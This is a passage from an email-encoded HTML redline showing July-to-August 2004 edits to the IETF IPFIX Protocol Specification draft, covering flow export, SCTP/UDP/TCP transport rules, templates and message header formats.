   Metering Process will create a Flow for every single packet=20
   observed.=20
   =20
   3. If the Metering Process experiences internal constraints, a Flow=20
   <strike><font color=3Dred>MAY</font></strike>=20
   <strong><font color=3Dgreen>may</font></strong> be expired forcibly.  =
For example, counters wrapping or low=20
   memory.=20

=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 12]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
    =20
 4.2      Flow Export=20
   =20
   <strong><font color=3Dgreen>The Exporting Process decides when and whe=
ther to export an expired=20
   Flow.</font></strong>  A <strike><font color=3Dred>flow</font></strike=
> <strong><font color=3Dgreen>Flow</font></strong> can be exported becaus=
e it expired due to the reasons=20
   mentioned in Flow Expiration section. <strike><font color=3Dred>The ex=
porting process decides=20
   when and whether to export an expired flow.</font></strike>  For examp=
le: the=20

=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 13]=20
=0C                   IPFIX Protocol Specifications             July 2004=
=20
=20
=20
   exporting process</font></strike> <strong><font color=3Dgreen>Exportin=
g=20
   Process</font></strong> exports a portion of the expired <strike><font=
 color=3Dred>flows</font></strike> <strong><font color=3Dgreen>Flows</fon=
t></strong> every 'x' seconds. =20
   =20
   For long-lasting Flows, the Exporting Process <strike><font color=3Dre=
d>SHOULD</font></strike> <strong><font color=3Dgreen>should</font></stron=
g> export the Flow=20
   Records on a regular basis or based on some export policy.  This=20
   periodicity or export policy <strike><font color=3Dred>SHOULD</font></=
strike> <strong><font color=3Dgreen>should</font></strong> be configurabl=
e at the Metering=20
   Process.=20
=20
 5.     Transport Protocol=20
   =20
   The IPFIX Protocol <strike><font color=3Dred>Specifications have</font=
></strike> <strong><font color=3Dgreen>Specification has</font></strong> =
been designed to be transport=20
   protocol independent.  Note that the Exporter can export to multiple=20
   Collecting Processes, using independent transport protocols.=20
   =20
 5.1      Transport Compliance and Transport Usage=20
=20
   We <strike><font color=3Dred>must</font></strike> <strong><font color=3D=
green>need to</font></strong> differentiate between what must be implemen=
ted (so that=20
   operators can interoperably deploy compliant implementations from=20
   different vendors) and what should or could be used in various=20
   operational environments. We must also make sure that ALL=20
   implementations can operate in a congestion-aware and congestion=20
   avoiding mode.=20
   =20
   SCTP [RFC2960] and SCTP-PR [RFC3758] MUST be implemented by all=20
   compliant implementations.  UDP [UDP] MAY also be implemented by=20
   compliant implementations.  TCP [TCP] MAY also be implemented by=20
   compliant implementations. =20
   =20
   SCTP-PR SHOULD be used in deployments where <strike><font color=3Dred>=
exporters</font></strike> <strong><font color=3Dgreen>Exporters</font></s=
trong> and <strike><font color=3Dred>collectors</font></strike> <strong><=
font color=3Dgreen>Collectors</font></strong>=20
   are communicating over links which are susceptible to congestion. =20
   SCTP-PR is capable of providing any required degree of reliability.=20
   =20
   TCP MAY be used in deployments where <strike><font color=3Dred>exporte=
rs</font></strike> <strong><font color=3Dgreen>Exporters</font></strong> =
and <strike><font color=3Dred>collectors</font></strike> <strong><font co=
lor=3Dgreen>Collectors</font></strong>=20
   communicate over links which are susceptible to congestion, but=20
   SCTP-PR is preferred, due to its ability to limit back pressure on=20
   <strike><font color=3Dred>exporters</font></strike>=20
   <strong><font color=3Dgreen>Exporters</font></strong> and its message =
<strike><font color=3Dred>vs.</font></strike> <strong><font color=3Dgreen=
>versus</font></strong> stream orientation. =20
       =20
   <strike><font color=3Dred>Other non-congestion aware protocols (like U=
DP) MAY be used in=20
   deployments where exporters and collectors always communicate over=20
   dedicated links which are not susceptible to congestion.</font></strik=
e> =20
   =20


=20
=20
  Claise, et. al            Standard Track                   [Page <strik=
e><font color=3Dred>14]</font></strike> <strong><font color=3Dgreen>13]</=
font></strong>=20
                   IPFIX Protocol <strike><font color=3Dred>Specification=
s             July</font></strike> <strong><font color=3Dgreen>Specificat=
ion            August</font></strong> 2004=20
=20
=20
   <strong><font color=3Dgreen>UDP MAY be used although it is not a conge=
stion aware protocol. =20
   However, the IPFIX traffic between Exporter and Collector MUST=20
   remain wholly within the administrative domains of the operators.</fon=
t></strong>=20
   =20
 5.2     TCP=20
   =20
   EDITOR NOTE: to be completed.  A good starting point is <strike><font =
color=3Dred>draft-leinen-
   ipfix-tcp-00.txt.</font></strike> <strong><font color=3Dgreen>draft-
   leinen-ipfix-tcp-00.txt.</font></strong>  TCP [TCP] =20
   =20
 5.3      SCTP=20
=20
   This section describes how IPFIX can be transported over SCTP=20
   [RFC2960] using the PR-SCTP [RFC3758] extension.   =20

 5.3.1   Congestion Avoidance=20
   =20
   The SCTP transport protocol provides the required level of=20
   congestion avoidance by design.=20

 5.3.2   Reliability=20
=20
   The SCTP transport protocol is by default reliable, but has the=20
   capability to operate in unreliable and partially reliable modes=20
   [RFC3758].=20
   =20
   Using reliable SCTP streams (referred to hereafter as "streams") for=20
   the IPFIX export is not in itself a guarantee that all <strike><font c=
olor=3Dred>Data Records</font></strike> <strong><font color=3Dgreen>data =
records</font></strong>=20
   are delivered.  If there is congestion on the link from the=20
   Exporting Process to the Collecting Process, or if a significant=20
   number of retransmissions are required, the send queues on the=20
   Exporting Process may fill up: the Exporting Process MAY either <strik=
e><font color=3Dred>suspent</font></strike>=20
   <strong><font color=3Dgreen>suspend</font></strong> export or discard =
IPFIX Messages.  If <strike><font color=3Dred>Data Records</font></strike=
> <strong><font color=3Dgreen>data records</font></strong> are=20
   discarded the sequence numbers used for export MUST reflect the loss=20
   of data.  =20

 5.3.3   MTU=20
=20
   SCTP provides the required IPFIX Message fragmentation service based=20
   on path MTU discovery.=20





=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 14]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
 5.3.4   Exporting Process=20

 5.3.4.1 Association=20
=20
   The Exporting Process MUST create at least one association=20
   (connection "bundle" in SCTP terminology) to the Collecting Process.=20
   =20
   However, the Exporting Process MAY create more than one association.=20
    =20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 15]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
   The Collecting Process MUST NOT initiate the connection.  =20

 5.3.4.2 Source ID=20
 =20
   The IPFIX Message MUST contain a Message Header, which includes a=20
   <strike><font color=3Dred>source id</font></strike>=20
   <strong><font color=3Dgreen>Source ID</font></strong> (SID).  The Expo=
rting Process uses the SID to uniquely=20
   identify to the Collecting Process the Observation Domain that=20
   metered the Flows.=20
    =20
   <strike><font color=3Dred>If a Metering Process consists of a single O=
bservation Domain, a=20
   single SID value MUST be used for all IPFIX Messages. =20
    =20
   If a Metering Process consists of multiple Observation Domains, a=20
   unique SID value for each Observation Domain MUST be used.</font></str=
ike>=20

 5.3.4.3 Stream=20
=20
   An Exporting Process MUST request at least two outbound streams per=20
   association.  The first stream (referred to as stream zero in the=20
   rest of <strike><font color=3Dred>the</font></strike> <strong><font co=
lor=3Dgreen>this</font></strong> document), is used to send the Template =
<strike><font color=3Dred>FlowSet</font></strike> <strong><font color=3Dg=
reen>Set</font></strong> and the=20
   Options Template <strike><font color=3Dred>FlowSet.</font></strike> <s=
trong><font color=3Dgreen>Set.</font></strong>  Stream zero MUST be fully=
 reliable.  Data=20
   <strike><font color=3Dred>FlowSets</font></strike>=20
   <strong><font color=3Dgreen>Sets</font></strong> MUST NOT be sent on s=
tream zero.=20
   =20
   Depending on the application requirement, the Exporting Process=20
   selects the mode (unreliable, partially reliable, or fully reliable=20
   mode) of the stream, used to send the Data <strike><font color=3Dred>F=
lowSets.</font></strike> <strong><font color=3Dgreen>Sets.</font></strong=
>  Unreliable mode=20
   MAY be used where the application does not require reliable=20
   transmission and the use of a retransmission queue is impractical.=20
   =20
   An Exporter MAY use multiple streams to export Data <strike><font colo=
r=3Dred>FlowSet,</font></strike> <strong><font color=3Dgreen>Sets,</font>=
</strong> in some=20
   cases different applications will have different requirements in=20
   terms of reliability.  In such a case, the Observation Domain MUST=20
   use the same SID value on all of the multiple streams it uses.  Data=20
   <strike><font color=3Dred>FlowSets</font></strike>=20
   <strong><font color=3Dgreen>Sets</font></strong> from multiple Observa=
tion Domains MUST NOT be transmitted over=20
   the same stream; the Collecting Process should however verify that=20
   the SID values are the expected values.  =20
   =20
   When Data <strike><font color=3Dred>FlowSets</font></strike> <strong><=
font color=3Dgreen>Sets</font></strong> are exported over a <strike><font=
 color=3Dred>partial</font></strike> <strong><font color=3Dgreen>partiall=
y</font></strong> reliable stream, they=20
   SHOULD be marked for retransmission as long as there is room in the=20
   SCTP send queues.  However during times of congestion or other=20

=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 15]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   retransmission events, if the queue overflows, the oldest data=20
   record that has been transmitted and marked as partially reliable=20
   should be freed and marked to be skipped per the PR-SCTP [RFC3758]=20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 16]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
   specification.  The freed buffer space should then be re-used for=20
   the new Data <strike><font color=3Dred>FlowSets</font></strike> <stron=
g><font color=3Dgreen>Sets</font></strong> being exported.  =20

 5.3.4.4 Template=20
=20
   <strike><font color=3Dred>The</font></strike>=20
=20
   Templates <strike><font color=3Dred>FlowSet</font></strike> <strong><f=
ont color=3Dgreen>Sets</font></strong> and Option Template <strike><font =
color=3Dred>FlowSet</font></strike> <strong><font color=3Dgreen>Sets</fon=
t></strong> MUST be sent on stream zero=20
   with full reliability.=20
   =20
   New Template Records SHOULD be transmitted as soon as they are=20
   created on the Metering Process, and preferably before any=20
   associated <strong><font color=3Dgreen>Flow and Options</font></strong=
> Data Record is transmitted.  The=20
   Collecting Process SHOULD accept <strong><font color=3Dgreen>Flow and =
Options</font></strong> Data Records=20
   without the associated Template Record.=20

 5.3.5   Collecting Process=20
=20
   The Collecting Process SHOULD listen for a new association request=20
   from the Exporting Process.  The Exporting Process will request a=20
   number of streams to use for export.  A Collecting Process MUST=20
   support <strike><font color=3Dred>a</font></strike> <strong><font colo=
r=3Dgreen>at</font></strong> least two inbound streams per association. <=
strike><font color=3Dred>A</font></strike>  <strong><font color=3Dgreen>A=
n</font></strong> Exporting=20
   Process and Collecting Process MAY ask for and support more than two=20
   streams.=20
   =20
   The Collecting Process SHOULD verify that the received IPFIX=20
   Messages inside one stream <strike><font color=3Dred>does</font></stri=
ke> <strong><font color=3Dgreen>do</font></strong> not have differing SID=
 values and=20
   silently discard any data that does NOT <strike><font color=3Dred>meet=
</font></strike> <strong><font color=3Dgreen>match</font></strong> the <s=
trike><font color=3Dred>collected values.</font></strike> <strong><font c=
olor=3Dgreen>initial value.</font></strong>  =20
   The Exporting Process SHOULD NOT transmit messages inside one stream=20
   with multiple SID values.  The correlated Flow Records are then=20
   treated like a normal export Flow.=20
   =20
   If the Collecting Process receives <strike><font color=3Dred>an</font>=
</strike> <strong><font color=3Dgreen>a malformed</font></strong> IPFIX <=
strike><font color=3Dred>Message that it cannot=20
   decode,</font></strike> <strong><font color=3Dgreen>Message,</font></s=
trong> it=20
   MUST reset the SCTP association, discard the message and log the=20
   error.  =20
    =20
   When an SCTP association is closed, the Collecting Process MUST=20
   discard all templates received over that association and stop=20
   decoding IPFIX Messages that use those templates.=20



=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 16]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
 5.3.6   Failover=20
=20
   If the Collecting Process does not acknowledge the attempt by the=20
   Exporting Process to establish an association it will retry using=20
   the SCTP exponential backoff feature.  The Exporter <strike><font colo=
r=3Dred>MAY log an alarm=20

=20
=20
 Claise, et. al             Standard Track                   [Page 17]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike> <strong><font color=3Dgreen>MAY log an alarm</font></str=
ong>=20
   if the time to establish the association exceeds a specified=20
   threshold.=20
   =20
   If Collecting Process failover is supported by the Exporting Process=20
   a second SCTP association MAY be opened in advance.=20
   =20
 5.4      UDP=20
   =20
   This section describes how IPFIX can be transported over UDP =20
   [RFC768]=20

 5.4.1   Congestion Avoidance =20
    =20
   UDP has no integral congestion avoidance mechanism.  Its use =20
   over congestion sensitive network paths is therefore deprecated.  =20
   UDP MAY be used in deployments where <strike><font color=3Dred>exporte=
rs</font></strike> <strong><font color=3Dgreen>Exporters</font></strong> =
and <strike><font color=3Dred>collectors</font></strike> <strong><font co=
lor=3Dgreen>Collectors</font></strong> =20
   always communicate over dedicated links which are not susceptible =20
   to congestion.  =20

 5.4.2   Reliability =20
   =20
   UDP is not a reliable transport protocol, and cannot guarantee =20
   delivery of messages.  IPFIX Messages sent from the Exporting =20
   Process to the Collecting Process using UDP may therefore be lost.  =20
   UDP MUST NOT be used unless the application can tolerate some =20
   loss of Messages.=20
   =20
   The <strike><font color=3Dred>IPFIX Message sequence number in the pac=
ket header indicates</font></strike> <strong><font color=3Dgreen>Collecti=
ng Process could deduce</font></strong> the <strike><font color=3Dred>los=
t</font></strike> <strong><font color=3Dgreen>loss and reordering</font><=
/strong> of IPFIX=20
   Messages <strike><font color=3Dred>to</font></strike> <strong><font co=
lor=3Dgreen>by looking at</font></strong> the <strike><font color=3Dred>C=
ollecting Process.</font></strike> <strong><font color=3Dgreen>discontinu=
ities in the IPFIX Message=20
   sequence number.  These conditions SHOULD be logged.</font></strong>=20
   =20
   Templates sent from the Exporting Process to the Collecting =20
   Process using UDP as a transport MUST be resent at regular =20
   intervals in case previous copies were lost.  Implementations =20
   MAY send templates using a reliable transport protocol, and =20
   send IPFIX Flow and Option Data Records using UDP as the =20
   transport protocol.=20

=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 17]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
 5.4.3   MTU=20
   =20
   The maximum size of exported messages MUST be configured such that =20
   the total packet size does not exceed the path MTU. =20


=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 18]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>  =20

 5.4.4   Port Numbers=20
   =20
   The UDP destination port is set by manual configuration at both =20
   Exporting Process and Collecting Process.  =20
   =20
   The UDP source port is allocated from the dynamic and/or =20
   private ports space.  =20

 5.4.5   Exporting Process=20
   =20
   The Exporting Process MAY duplicate the IPFIX Message =20
   to the several Collecting Process.  =20

 5.4.5.1 Template=20
   =20
   If sent using UDP as the transport protocol, <strike><font color=3Dred=
>Templates FlowSets</font></strike> <strong><font color=3Dgreen>Template =
Sets</font></strong> =20
   and Option Template <strike><font color=3Dred>FlowSets</font></strike>=
 <strong><font color=3Dgreen>Sets</font></strong> MUST be re-sent at regu=
lar intervals.  <strong><font color=3Dgreen>How=20
   frequently these Options Data Records are exported is configurable.</f=
ont></strong>  =20
   New Template Records SHOULD be transmitted as soon as they are =20
   created on the Metering Process, and before any associated Data =20
   Record is transmitted.  The Collecting Process SHOULD accept =20
   <strong><font color=3Dgreen>Flow and Options</font></strong> Data Reco=
rds without the associated Template=20
   Record.=20

 5.4.6   Collecting Process=20
   =20
   If the Collecting Process receives an IPFIX Message that it cannot =20
   decode, it MUST discard the message and log the error.  =20
   =20
   The Collecting Process <strike><font color=3Dred>must</font></strike> =
<strong><font color=3Dgreen>MUST</font></strong> associate a lifetime wit=
h each =20
   Template received via UDP.  If the template is not refreshed by the =20
   Exporting Process before that lifetime has expired, the =20
   Collecting <strike><font color=3Dred>process</font></strike> <strong><=
font color=3Dgreen>Process</font></strong> MUST discard the Template.  Th=
e Collecting =20
   Process MUST NOT decode Flow or Option Data Records which =20
   have an expired Template.  =20



=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 18]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
 5.4.7   Failover=20
   =20
   Because UDP is not a connection oriented protocol, the Exporting=20
   Process is unable to determine from the transport protocol that the=20
   Collecting Process is no longer able to receive the IFPIX Messages. =20
   Therefore, it can not invoke a failover mechanism.  However, the=20
   Exporting Process MAY duplicate the IPFIX Message to <strike><font col=
or=3Dred>the</font></strike> several=20


=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 19]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
   Collecting <strike><font color=3Dred>Process.</font></strike> <strong>=
<font color=3Dgreen>Processes.</font></strong>=20
   =20
 6.     Message Layout=20
   =20
   An IPFIX Message consists of a Message Header followed by one or=20
   more <strike><font color=3Dred>FlowSets.</font></strike> <strong><font=
 color=3Dgreen>Sets.</font></strong>  The <strike><font color=3Dred>FlowS=
ets</font></strike> <strong><font color=3Dgreen>Sets</font></strong> can =
be any of the possible three types:=20
   Template, Data, or Options Template.  =20
   =20
   <strong><font color=3Dgreen>The format of the</font></strong> IPFIX <s=
trike><font color=3Dred>Message:</font></strike> <strong><font color=3Dgr=
een>Message is shown in Figure B.</font></strong>=20
   =20
   +--------+-------------------------------------------+=20
   |        | +----------+ +---------+ +----------+     |=20
   |Message | | Template | |  Data   | | Options  |     |=20
   | Header | | <strike><font color=3Dred>FlowSet</font></strike>   <stro=
ng><font color=3Dgreen>Set</font></strong>    | | <strike><font color=3Dr=
ed>FlowSet</font></strike>   <strong><font color=3Dgreen>Set</font></stro=
ng>   | | Template | ... |=20
   |        | |          | |         | | <strike><font color=3Dred>FlowSe=
t</font></strike>    <strong><font color=3Dgreen>Set</font></strong>   | =
    |=20
   |        | +----------+ +---------+ +----------+     |=20
   +--------+-------------------------------------------+=20
   =20
      <strong><font color=3Dgreen>Figure B: IPFIX Message format</font></=
strong>=20
=20
   A <strike><font color=3Dred>FlowSet</font></strike> <strong><font colo=
r=3Dgreen>Set</font></strong> ID is used to distinguish the different typ=
es of <strike><font color=3Dred>FlowSets.=20
   FlowSet</font></strike> <strong><font color=3Dgreen>Sets.  Set</font><=
/strong>=20
   IDs lower than 256 are reserved for special <strike><font color=3Dred>=
FlowSets,</font></strike> <strong><font color=3Dgreen>Sets,</font></stron=
g> such as the=20
   Template <strike><font color=3Dred>FlowSet</font></strike> <strong><fo=
nt color=3Dgreen>Set</font></strong> (ID <strike><font color=3Dred>0)</fo=
nt></strike> <strong><font color=3Dgreen>2)</font></strong> and the Optio=
ns Template <strike><font color=3Dred>FlowSet</font></strike> <strong><fo=
nt color=3Dgreen>Set</font></strong> (ID=20
   <strike><font color=3Dred>1).</font></strike> <strong><font color=3Dgr=
een>3).</font></strong>  The Data <strike><font color=3Dred>FlowSets</fon=
t></strike>=20
   <strong><font color=3Dgreen>Sets</font></strong> have a <strike><font =
color=3Dred>FlowSet</font></strike> <strong><font color=3Dgreen>Set</font=
></strong> ID greater than 255.  The <strong><font color=3Dgreen>Set ID v=
alue of 0 and 1=20
   are not used for historical reasons [NETFLOW9].=20
   =20
   The</font></strong> format of the Template, Data, and Options Template=
 <strike><font color=3Dred>FlowSets</font></strike> <strong><font color=3D=
green>Sets</font></strong> will be=20
   discussed later in this document.  The Exporter MUST code all binary=20
   integers of the Message Header and the different <strike><font color=3D=
red>FlowSets</font></strike> <strong><font color=3Dgreen>Sets</font></str=
ong> in network=20
   byte order (also known as the big-endian byte ordering).=20
   =20
   Following are some examples of IPFIX Messages:=20
   =20
   1. An IPFIX Message consisting of interleaved Template, Data, and=20
   Options Template <strike><font color=3Dred>FlowSets-A</font></strike> =
<strong><font color=3Dgreen>Sets-A</font></strong> newly created Template=
 is exported as soon=20
   as possible.  So if there is already an IPFIX Message with a Data <str=
ike><font color=3Dred>FlowSet</font></strike>=20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 19]=20
                   IPFIX Protocol Specification            August 2004=20
=20
=20
   Set</font></strong> that is being prepared for export, the Template an=
d Option <strike><font color=3Dred>FlowSets</font></strike> <strong><font=
 color=3Dgreen>Sets</font></strong>=20
   are also interleaved with this information, subject to availability=20
   of space.=20
   =20
   <strike><font color=3Dred>IPFIX Message:</font></strike>=20
   =20
   +--------+--------------------------------------------------------+=20
   |        | +----------+ +---------+     +-----------+ +---------+ |=20
   |Message | | Template | | Data    |     | Options   | | Data    | |=20
   | Header | | <strike><font color=3Dred>FlowSet</font></strike> <strong=
><font color=3Dgreen>Set</font></strong>      | | <strike><font color=3Dr=
ed>FlowSet</font></strike> <strong><font color=3Dgreen>Set</font></strong=
>     | ... | Template  | | <strike><font color=3Dred>FlowSet</font></str=
ike> <strong><font color=3Dgreen>Set</font></strong>     | |=20
   |        | |          | |         |     | <strike><font color=3Dred>Fl=
owSet</font></strike> <strong><font color=3Dgreen>Set</font></strong>    =
   | |         | |=20
   |        | +----------+ +---------+     +-----------+ +---------+ |=20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 20]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
   +--------+--------------------------------------------------------+ =20
   =20
      <strong><font color=3Dgreen>Figure C: IPFIX Message example 1</font=
></strong>=20
   =20
   2. An IPFIX Message consisting entirely of Data <strike><font color=3D=
red>FlowSets-After</font></strike> <strong><font color=3Dgreen>Sets-After=
</font></strong> the=20
   appropriate Template Records have been defined and transmitted to=20
   the Collecting Process, the majority of IPFIX Messages <strike><font c=
olor=3Dred>consists</font></strike> <strong><font color=3Dgreen>consist</=
font></strong>=20
   solely of Data <strike><font color=3Dred>FlowSets. =20
   =20
   IPFIX Message:</font></strike> <strong><font color=3Dgreen>Sets.</font=
></strong>  =20
   =20
   +--------+----------------------------------------------+=20
   |        | +---------+     +---------+      +---------+ |=20
   |Message | | Data    | ... | Data    | ...  | Data    | |=20
   | Header | | <strike><font color=3Dred>FlowSet</font></strike> <strong=
><font color=3Dgreen>Set</font></strong>     | ... | <strike><font color=3D=
red>FlowSet</font></strike> <strong><font color=3Dgreen>Set</font></stron=
g>     | ...  | <strike><font color=3Dred>FlowSet</font></strike> <strong=
><font color=3Dgreen>Set</font></strong>     | |=20
   |        | +---------+     +---------+      +---------+ |=20
   +--------+----------------------------------------------+  =20
   =20
      <strong><font color=3Dgreen>Figure D: IPFIX Message example 2</font=
></strong>=20
=20
   3. An IPFIX Message consisting entirely of Template and Options=20
   Template <strike><font color=3Dred>FlowSets-The Exporter MAY transmit =
a message containing=20
   Template</font></strike> <strong><font color=3Dgreen>Sets-When UDP is =
used as the transport protocol, Templates=20
   Sets</font></strong> and <strike><font color=3Dred>Options</font></str=
ike> <strong><font color=3Dgreen>Option</font></strong> Template <strike>=
<font color=3Dred>FlowSets</font></strike> <strong><font color=3Dgreen>Se=
ts MUST be sent</font></strong> periodically to help=20
   ensure that the Collecting Process has the correct Template Records=20
   and Options Template Records when the corresponding Flow Data <strike>=
<font color=3Dred>records</font></strike>=20
   <strong><font color=3Dgreen>Records</font></strong> are received. =20
   =20
   <strike><font color=3Dred>IPFIX Message:</font></strike>  =20
   =20
   +--------+-------------------------------------------------+=20
   |        | +----------+     +----------+      +----------+ |=20
   |Message | | Template |     | Template |      | Options  | |=20
   | Header | | <strike><font color=3Dred>FlowSet</font></strike> <strong=
><font color=3Dgreen>Set</font></strong>      | ... | <strike><font color=
=3Dred>FlowSet</font></strike> <strong><font color=3Dgreen>Set</font></st=
rong>      | ...  | Template | |=20
   |        | |          |     |          |      | <strike><font color=3D=
red>FlowSet</font></strike> <strong><font color=3Dgreen>Set</font></stron=
g>      | |=20
   |        | +----------+     +----------+      +----------+ |=20
   +--------+-------------------------------------------------+=20
   =20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 20]=20
                   IPFIX Protocol Specification            August 2004=20
=20
=20
      Figure E: IPFIX Message example 3</font></strong>=20
   =20
   =20
 7.     IPFIX Message Format=20
   =20
 7.1      Header Format=20
   =20
   <strong><font color=3Dgreen>The format of the IPFIX Message Header for=
mat is shown in Figure F.</font></strong>=20
   =20
    0                   1                   2                   3=20
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |       Version Number          |            Length             |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                           Export Time                         |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                       Sequence Number                         |=20

=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 21]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                          Source ID                            |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   =20
      <strong><font color=3Dgreen>Figure F: IPFIX Message Header format</=
font></strong>=20
   =20
   Message Header Field Descriptions =20
   =20
   Version=20
           Version of Flow Record format exported in this message.  The=20
           value of this field is 0x000a for the current version.=20
           =20
   Length=20
           Total Length is the length of the IPFIX <strike><font color=3D=
red>message,</font></strike> <strong><font color=3Dgreen>Message,</font><=
/strong> measured in=20
           octets, including message Header and <strike><font color=3Dred=
>FlowSet(s).</font></strike> <strong><font color=3Dgreen>Set(s).</font></=
strong>=20
            =20
   Export Time=20
           Time in seconds since 0000 UTC 1970, at which the Export=20
           Packet leaves the Exporter.=20
           =20
   Sequence Number=20
           Incremental sequence counter of all IPFIX Messages sent from=20
           the current Observation Domain by the Exporting Process. =20
           This value <strike><font color=3Dred>MUST</font></strike> SHOU=
LD be used by the Collecting Process to=20
           identify whether any IPFIX Messages have been missed.=20
           =20

=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 21]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   Source ID=20
           A 32-bit value that identifies the Exporter Process=20
           Observation Domain.  Collecting Process SHOULD use the=20
           combination of the source IP address and the Source ID field=20
           to separate different export streams originating from the=20
           same Exporting Process.=20
           =20
 7.2      Field Type Format=20
           =20
   Vendors need the ability to define proprietary Information Elements,=20
   because, for example, they are delivering pre-standards product, or=20
   the Information Element is in some way commercially sensitive.  This=20
   section describes the Field Type format for both IETF specified=20
   Information Elements [IPFIX-INFO] and Vendor Specified Information=20
   Elements, both the Template <strike><font color=3Dred>FlowSet</font></=
strike> <strong><font color=3Dgreen>Set</font></strong> and the Option Te=
mplate <strike><font color=3Dred>FlowSet.</font></strike> <strong><font c=
olor=3Dgreen>Set.</font></strong>  =20
   =20
   The Field Ids used to identify Information Elements are represented=20
   by the Field Type.  When the Enterprise Field Type bit is set to 0,=20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 22]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
   the corresponding Field Type will report an IETF specified=20
   Information Elements.  When the Enterprise Field Type bit is set to=20
   1, the corresponding Field Type will report a Vendor Specified=20
   Information <strike><font color=3Dred>Elements.</font></strike> <stron=
g><font color=3Dgreen>Element. =20
   =20
   The Field Type format is shown in Figure G.</font></strong>=20
    =20
       0                   1                   2                   3 =20
        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 =20
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
       |E|      Field Type             |        Field Length           | =
=20
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =
=20
       |                      Enterprise Number                        | =
=20
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =
=20
     =20
        <strike><font color=3Dred>Fig X:</font></strike> =20
     =20
          <strong><font color=3Dgreen>Figure G:</font></strong> Field Typ=
e <strong><font color=3Dgreen>format</font></strong>=20
     =20
        Where:=20
     =20
       E =20
          Enterprise Field Type.  If this bit is zero, the Field Type =20
          identifies an IETF specified Information Element, and the =20
          four octet Enterprise Number field MUST NOT be present.  If =20
          this bit is one, the Field Type identifies a Vendor Specified =20
          Information Element, and the Enterprise Number filed MUST be =20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 22]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
          present. <strike><font color=3Dred>This definition is backwards=
 compatible with =20
          Netflow v9 [NF RFC]</font></strike>  =20
     =20
      Field Type =20
         A numeric value that represents the type of the field.  Refer   =
=20
         to [IPFIX-INFO].  =20
   =20
      Field Length =20
         The length of the corresponding Field Type, in bytes.  Refer   =20
         to [IPFIX-INFO].  =20
   =20
      Enterprise Number =20
         IANA enterprise number [PEN] of the authority defining the =20
         <strike><font color=3Dred>field type</font></strike> =20
         <strong><font color=3Dgreen>Field Type</font></strong> in this <=
strike><font color=3Dred>template record.</font></strike> <strong><font c=
olor=3Dgreen>Template Record.</font></strong>=20
           =20
 7.3      Template <strike><font color=3Dred>FlowSet Format</font></strik=
e> <strong><font color=3Dgreen>Set</font></strong>=20
   =20
   One of the essential elements in the IPFIX format is the Template=20
   <strike><font color=3Dred>FlowSet.</font></strike>=20
   <strong><font color=3Dgreen>Set.</font></strong>  Templates greatly en=
hance the flexibility of the Flow=20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 23]=20
